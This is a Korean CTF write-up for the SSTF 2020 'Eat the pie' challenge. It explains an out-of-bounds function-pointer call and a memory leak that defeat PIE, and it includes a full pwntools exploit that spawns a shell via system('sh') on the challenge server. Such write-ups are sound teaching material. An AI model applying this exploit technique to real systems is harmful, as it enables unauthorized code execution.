[SSTF 2020] Eat the pie Writeup

Intro

이 문제가 있다는 걸 CTF 종료 30분 전에 알아서 급하게 풀다가 결국 시간 내에 못 풀었다 ㅠ

안 풀리길래 정훈 선배님께 여쭤봐서 풀게 되었다

급하게 풀어서 그런진 몰라도 __cdecl 함수 호출 규약을 잘못 알고 풀어서 못 풀고 있었던 것이었다

조금 아쉽긴 하지만 그래도 풀면서 재미있었다 ㅋㅋ

Analysis

checksec

다 걸려있다 ㄷㄷ

Decompile

별거 없다.

저거 srand하고 time은 왜 쓴건지 모르겠다.

pwnme를 한 번 보자.

pwnme

사용자로부터 buf에 입력을 받아와서 해당 입력값에 대한 함수를 실행시켜준다.

func1, func2, func3, func4의 내용은 별거 없다.

부적절한 입력값에 대해선 해당 입력값을 출력해주고 다시 입력을 받는다.

Vulnerability

1. Out Of Bound

pwnme에서 사용자의 입력값에 대한 함수를 실행할 때

    if ( v5 <= 3 )
      ((void (*)(void))buf[v5 + 4])();

v5가 음수인지에 대한 검증은 하지 않아서 Out Of Bound 취약점이 발생하게 된다.

예를 들어 -1을 입력으로 주면 buf[3]이 실행될 것이다.

2. Memory leak

pwnme에서 부적절한 입력값에 대해서 출력을 할 때

    else
      printf("Invalid input: %s\n", buf);

%s로 출력을 하기 때문에 buf를 \n없이 꽉 채운다면

그 뒤에 저장되어 있는 func1, func2, func3, func4의 실제 주소들을 leak할 수 있을 것이다.

그러면 그 주소를 통해 pie base를 구할 수 있게 된다.

Solution

우선 Memory leak을 통해 pie base를 구한다.

그러면 pie base를 통해 system의 주소를 구할 수 있을 것이다.

또한, fflush 함수가 있기 때문에 ELF String Table에서 "sh" 문자열을 찾을 수 있을 것이고,

이 또한 pie base를 통해 계산해내면 된다.

 

그러면 이제 Out Of Bound 취약점을 통해 "sh"를 첫번째 인자로 system 함수를 실행시키면 되는건데,

buf[v5+4]를 호출할 때의 stack 상황을 breakpoint를 잡고 보면 아래와 같다.

입력으로 '0'을 줬다.

이때 call eax를 하면 push eip가 되고 jmp가 되니까 

실질적으로 함수가 실행될 때는 esp+0x8에 buf가 있는 것이다.

 

이 ELF는 함수를 호출 할 때 __cdecl 방식을 사용하기 때문에,

저 상황에서 pop pop pop ret가 실행된다면 buf[1]에서 ret가 될 것이고, 

그 다음 ret 주소로는 buf[2]가, 첫번째 인자로는 buf[3]이 들어갈 것이다.

 

그러면 입력으로 -2를 줘서 buf[2]를 실행하도록 하고,

buf[2]에는 pop pop pop ret gadget의 주소를,

buf[1]에는 system의 주소를, 

buf[3]에는 "sh"의 주소를 넣어준다면

정상적으로 system("sh");이 실행이 될 것이다.

 

또한, atoi 함수는 NULL 바이트에서 멈추기 때문에 입력으로 "-2\x00~~"을 주면

NULL 뒤에 있는 payload를 무시하게 만들 수 있을 것이다. 

Exploit

exploit.py

from pwn import *

# context.log_level = 'debug'

p = remote("eat-the-pie.sstf.site", 1337)
e = ELF("./eat_the_pie")

payload = '9' * 0x10
p.sendafter("Select > ", payload)

p.recvuntil('9' * 0x10)
leak = u32(p.recv(4))
log.info("leak = " + hex(leak))

pie_base = leak - e.sym['func1']
log.info("pie_base = " + hex(pie_base))

system_addr = pie_base + e.sym['system']
log.info("system_addr = " + hex(system_addr))

fflush_str = 0x316 # "fflush"
sh_addr = pie_base + fflush_str + 4 # "sh"
log.info("sh_addr = " + hex(sh_addr))

gadget_offset = 0xa99 # pop esi ; pop edi ; pop ebp ; ret
gadget_addr = pie_base + gadget_offset

payload = str()
payload += "-2\x00\x00"
payload += p32(system_addr)
payload += p32(gadget_addr)
payload += p32(sh_addr)

p.sendafter("Select > ", payload)
p.interactive()

 

댓글